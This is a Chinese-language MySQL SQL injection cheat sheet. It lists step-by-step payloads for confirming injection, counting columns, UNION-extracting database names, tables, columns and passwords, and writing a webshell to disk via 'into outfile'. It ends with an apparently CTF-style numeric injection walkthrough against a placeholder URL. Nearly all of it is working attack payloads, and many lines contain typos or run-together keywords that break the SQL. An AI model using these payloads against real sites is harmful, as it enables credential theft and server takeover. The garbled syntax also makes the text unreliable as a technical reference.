mysql注入
MYSQL注入
(1)判断是否存在SQL注入
and1=1
and 1=2
(2)爆字段
orderby猜测的字段数
(3)匹配字段
and1=1unionselect1,2,3,……,n
(4)获取显示字段
and1=2unionselect1,2,3,4.…..n
(5)利用内置函数爆数据库信息
version() database() user()
例如:
and 1=2 union allselectversion()
and1=2unionallselectdatabase()
and1=2unionallselectuser()
(6)操作系统信息
and1=2union allselect@@global.version_compile_osfrommysql.user
(7)数据库权限
andord(mid(user(),1,1))=114返回正常则说明为root权限
(8)暴库(mysql>5.0)
Mysql 5.0以上版本内置库information_schema,存储着mysql的所有数据库和表结构信息。
and1=2union selec1,2,3,SCHEMA_NAME,5,6,7,8,9,10frominformation_schema.SCHEMA limit0,1
(9)猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)
(10)爆字段
and 1=2 union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schemation.COLUMNS where TABLE_NAMEE=表名(十六进制) limit 0 ,1
(11)爆密码
and 1=2 union select 1,2,3,用户名段,5,6,7,8,9 from 表名 limit 0,1
直接写马(Root权限)
条件:
1、知道站点物理路径
2、有足够高的权限(这个看你们自己咯)
3、magic_quotes_gpc()=OFF
select ‘’into outfile ‘物理路径’ and 1=2 union all select 一句话HEX值 into outfile ‘路径’
MYSQL数字型注入
(1)找注入参数:
http://xx.xx.xx.xx:xxxx/?id=1
http://xx.xx.xx.xx:xxxx/?id=1and1=1#显示正常
http://xx.xx.xx.xx:xxxx/?id=1and1=2#显示不正常
(2)猜字段(个数为3)
http://xx.xx.xx.xx:xxxx/?id=1order by4— ss#显示不正常
http://xx.xx.xx.xx:xxxx/?id=1order by3— ss#显示正常
(3)字段精确定位
http://xx.xx.xx.xx:xxxx/?id=1 and 1=2 union select 1,2,3 –ss #2,3 显示
(4)获取数据库名
http://xx.xx.xx.xx:xxxx/?id=1 and 1=2 union select 1,database(),user() –sd
假设数据库名为sql_db用户名为admin
(5)获取表名
http://xx.xx.xx.xx:xxxx/?id=1 and 1=2 union select 1,2,TABLE_NAMEfrom information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1– ss
假设获取到的表名为fla
(6)获取字段名
http://xx.xx.xx.xx:xxxx/?id=1 and 1=2 Union select 1,2,COLUMN_NAMEfrom information_schema.COLUMNS where TABLE_NAME=0x666c6167 limit 1,1– ss #0x666c6167是flag的十六进制
(7)获取字段内容:
http://xx.xx.xx.xx:xxxx/?id=1 and 1=2 union select 1,id,flag from flag– ss